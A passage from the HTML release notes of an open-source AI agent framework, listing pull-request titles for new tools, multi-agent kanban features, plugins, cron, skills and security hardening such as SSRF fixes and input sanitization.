<li><strong>Fix Langfuse observability — trace I/O, tool outputs, placeholder credentials</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411518378" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22342" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/22342/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/22342">#22342</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413605274" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22763" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/22763/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/22763">#22763</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26320" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26320/hovercard">#26320</a>)</li>
<li><strong>MiniMax 'Login' button launched Claude OAuth</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413936898" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22849" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22849/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22849">#22849</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24058" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24058/hovercard">#24058</a>)</li>
<li><strong>Update cron modals</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25985/hovercard">#25985</a>)</li>
<li><strong>Analytics: prevent silent token loss and add Claude 4.5–4.7 pricing</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21455" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21455/hovercard">#21455</a>)</li>
</ul>
<hr>
<h2>🔧 Tools &amp; Capabilities</h2>
<h3>Vision &amp; video</h3>
<ul>
<li><strong><code>vision_analyze</code> returns pixels to vision-capable models</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22955/hovercard">#22955</a>)</li>
<li><strong>Unified <code>video_generate</code> with pluggable provider backends</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25126" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25126/hovercard">#25126</a>)</li>
<li><strong><code>image_gen</code>: actionable setup message when no FAL backend is reachable</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26222/hovercard">#26222</a>)</li>
</ul>
<h3>Computer use</h3>
<ul>
<li><strong><code>computer_use</code> cua-driver backend + focus-safe ops + non-Anthropic provider fix</strong> (re-salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341933760" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16936" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16936/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16936">#16936</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21967/hovercard">#21967</a>)</li>
<li><strong>Refresh cua-driver on <code>hermes update</code> + add <code>install --upgrade</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24063" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24063/hovercard">#24063</a>)</li>
</ul>
<h3>LSP &amp; write-time diagnostics</h3>
<ul>
<li><strong>Semantic diagnostics from real language servers in <code>write_file</code>/<code>patch</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24168/hovercard">#24168</a>)</li>
<li><strong>Shift baseline diagnostics into post-edit coordinates</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25978" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25978/hovercard">#25978</a>)</li>
</ul>
<h3>Search &amp; web</h3>
<ul>
<li><strong>Brave Search (free tier) and DDGS search providers</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21337" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21337/hovercard">#21337</a>)</li>
<li><strong>Bearer auth header for Tavily <code>/crawl</code> endpoint</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24658/hovercard">#24658</a>)</li>
</ul>
<h3>X (Twitter)</h3>
<ul>
<li><strong>Gated <code>x_search</code> tool with OAuth-or-API-key auth</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26763/hovercard">#26763</a>)</li>
</ul>
<h3>Browser</h3>
<ul>
<li><strong>Route <code>browser_console</code> eval through supervisor's persistent CDP WS (180x faster)</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23226/hovercard">#23226</a>)</li>
<li><strong>Support externally managed Camofox sessions</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24499/hovercard">#24499</a>)</li>
</ul>
<h3>MCP</h3>
<ul>
<li><strong><code>supports_parallel_tool_calls</code> for MCP servers</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265444652" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/9944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9944/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/9944">#9944</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26825" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26825/hovercard">#26825</a>)</li>
<li><strong>Codex preset for Codex CLI MCP server</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4412978691" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22663/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22663">#22663</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22679/hovercard">#22679</a>)</li>
<li><strong>Stop retrying initial MCP auth failures</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445105387" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25624/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25624">#25624</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/25776" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25776/hovercard">#25776</a>)</li>
</ul>
<h3>Google Workspace</h3>
<ul>
<li><strong>Drive write ops + Docs/Sheets create/append</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21895/hovercard">#21895</a>)</li>
</ul>
<h3>Per-turn verifier</h3>
<ul>
<li><strong>Per-turn file-mutation verifier footer</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24498/hovercard">#24498</a>)</li>
</ul>
<hr>
<h2>🧩 Kanban (Multi-Agent)</h2>
<ul>
<li><strong><code>specify</code> — auxiliary LLM fleshes out triage tasks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21435/hovercard">#21435</a>)</li>
<li><strong>Orchestrator board tools — <code>kanban_list</code> + <code>kanban_unblock</code></strong> (carve-out of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388855286" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/20568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20568/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/20568">#20568</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23012" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23012/hovercard">#23012</a>)</li>
<li><strong><code>stranded_in_ready</code> diagnostic for unclaimed tasks</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23578/hovercard">#23578</a>)</li>
<li><strong>Dashboard batch QOL upgrade</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415907547" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/23240" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23240/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/23240">#23240</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23550/hovercard">#23550</a>)</li>
<li><strong>Tooltips and docs link across dashboard</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21541/hovercard">#21541</a>)</li>
<li><strong>Dedupe notifier delivery via atomic claim + rewind on failure</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4412567868" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22558/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22558">#22558</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23401/hovercard">#23401</a>)</li>
<li><strong>Keep notifier subscriptions alive across retry cycles</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400178047" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21398/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21398">#21398</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23423/hovercard">#23423</a>)</li>
<li><strong>Drop caller-controlled author override in <code>kanban_comment</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409830771" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22109/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22109">#22109</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22435/hovercard">#22435</a>)</li>
<li><strong>Sanitize comment author rendering in <code>build_worker_context</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22769" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22769/hovercard">#22769</a>)</li>
</ul>
<hr>
<h2>🧠 Plugins &amp; Extension</h2>
<h3>Plugin surface</h3>
<ul>
<li><strong>Run any LLM call from inside a plugin via <code>ctx.llm</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23194/hovercard">#23194</a>)</li>
<li><strong><code>tool_override</code> flag for replacing built-in tools</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276172104" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/11049" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/11049/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/11049">#11049</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26759/hovercard">#26759</a>)</li>
<li><strong><code>standalone_sender_fn</code> for out-of-process cron delivery</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22461" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22461/hovercard">#22461</a>)</li>
<li><strong><code>HERMES_PLUGINS_DEBUG=1</code> surfaces plugin discovery logs</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22684/hovercard">#22684</a>)</li>
<li><strong>Hindsight-client as optional dependency</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/21818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21818/hovercard">#21818</a>)</li>
</ul>
<h3>Profile &amp; distribution</h3>
<ul>
<li><strong>Shareable profile distributions via git</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/20831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20831/hovercard">#20831</a>)</li>
</ul>
<hr>
<h2>⏰ Cron</h2>
<ul>
<li><strong>Routing intent — <code>deliver=all</code> fans out to every connected channel</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/21495" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21495/hovercard">#21495</a>)</li>
<li><strong>Support name-based lookup for job operations</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26231/hovercard">#26231</a>)</li>
<li><strong>Blank Cron dashboard tab + partial-record crashes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4396341916" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21042" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21042/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21042">#21042</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411464552" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22330/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22330">#22330</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22389/hovercard">#22389</a>)</li>
<li><strong>Do not seed <code>HERMES_SESSION_*</code> contextvars from cron origin</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4411575899" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22356/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22356">#22356</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22382" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22382/hovercard">#22382</a>)</li>
<li><strong>Scan assembled prompt including skill content for prompt injection</strong> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4171149796" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/3968" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/3968/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/3968">#3968</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skills Hub</h3>
<ul>
<li><strong><code>hermes-skills/huggingface</code> as a trusted default tap</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117085837" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2549" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2549/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2549">#2549</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26219/hovercard">#26219</a>)</li>
<li><strong>Show per-skill pages in the left sidebar</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26646" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26646/hovercard">#26646</a>)</li>
<li><strong>Richer info panels on the Skills Hub</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22905" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22905/hovercard">#22905</a>)</li>
<li><strong>Refuse <code>skill_view</code> name collisions instead of guessing</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224310629" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/6136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/6136/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/6136">#6136</a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/polkn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/polkn">@polkn</a>)</li>
</ul>
<h3>Curator</h3>
<ul>
<li><strong>Show rename map in user-visible summary</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/22910" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22910/hovercard">#22910</a>)</li>
<li><strong>Hint at <code>hermes curator pin</code> in the rename block</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23212" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23212/hovercard">#23212</a>)</li>
</ul>
<h3>New optional skills</h3>
<ul>
<li><strong>Hyperliquid</strong> — perp/spot trading via SDK + REST (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4096174558" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/1952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/1952/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/1952">#1952</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23583/hovercard">#23583</a>)</li>
<li><strong>Yahoo Finance</strong> market data (<a href="https://github.com/NousResearch/hermes-agent/pull/23590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23590/hovercard">#23590</a>)</li>
<li><strong>api-testing</strong> (REST/GraphQL debug, salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090616596" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/1800" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/1800/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/1800">#1800</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23582/hovercard">#23582</a>)</li>
<li><strong>Unified EVM multi-chain skill</strong> (salvages <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441931751" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/25291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25291/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/25291">#25291</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098909401" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2010" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2010/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2010">#2010</a> + folds in base/) (<a href="https://github.com/NousResearch/hermes-agent/pull/25299" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25299/hovercard">#25299</a>)</li>
<li><strong>darwinian-evolver</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26760/hovercard">#26760</a>)</li>
<li><strong>osint-investigation</strong> (closes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4020048213" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/355" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/355/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/355">#355</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/26729" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26729/hovercard">#26729</a>)</li>
<li><strong>pinggy-tunnel</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/26765" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26765/hovercard">#26765</a>)</li>
<li><strong>watchers</strong> — RSS / HTTP JSON / GitHub polling via cron no-agent (<a href="https://github.com/NousResearch/hermes-agent/pull/21881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21881/hovercard">#21881</a>)</li>
<li><strong>Notion overhaul for the Developer Platform</strong> (May 2026) (<a href="https://github.com/NousResearch/hermes-agent/pull/26612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26612/hovercard">#26612</a>)</li>
</ul>
<hr>
<h2>🔒 Security &amp; Reliability</h2>
<h3>Security hardening</h3>
<ul>
<li><strong>Sudo brute-force block + sudo-stdin/askpass DANGEROUS</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4410605303" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22194/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22194">#22194</a> + <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4397828876" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/21128" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/21128/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/21128">#21128</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23736/hovercard">#23736</a>)</li>
<li><strong>Drop caller-controlled author override in <code>kanban_comment</code></strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409830771" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22109/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22109">#22109</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22435/hovercard">#22435</a>)</li>
<li><strong>Cover remaining SSRF fetch paths in skills-hub</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413740551" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22804" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22804/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22804">#22804</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22843/hovercard">#22843</a>)</li>
<li><strong>Use credential_pool for custom endpoint model listing probes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413750085" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22810/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22810">#22810</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22842/hovercard">#22842</a>)</li>
<li><strong>Require dashboard auth for plugin API routes</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4374329621" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/19541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/19541/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/19541">#19541</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/23220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23220/hovercard">#23220</a>)</li>
<li><strong>Sanitize env and redact output in quick commands + remove write-only <code>_pending_messages</code></strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/23584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/23584/hovercard">#23584</a>)</li>
<li><strong>Reduce unnecessary <code>shell=True</code> in subprocess calls</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/25149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/25149/hovercard">#25149</a>)</li>
<li><strong>Sanitize Google Chat sender_type from relay</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409786696" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/22107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22107/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/22107">#22107</a>) (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/22432" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/22432/hovercard">#22432</a>)</li>
<li><strong>Supply-chain advisory checker</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24220/hovercard">#24220</a>)</li>
<li><strong>Rewrite security policy around OS-level isolation as the boundary</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/20317" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20317/hovercard">#20317</a>)</li>
<li><strong>Remove public security advisory page</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/24253" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24253/hovercard">#24253</a>)</li>
</ul>
<h3>Reliability — notable bug closures</h3>
<ul>
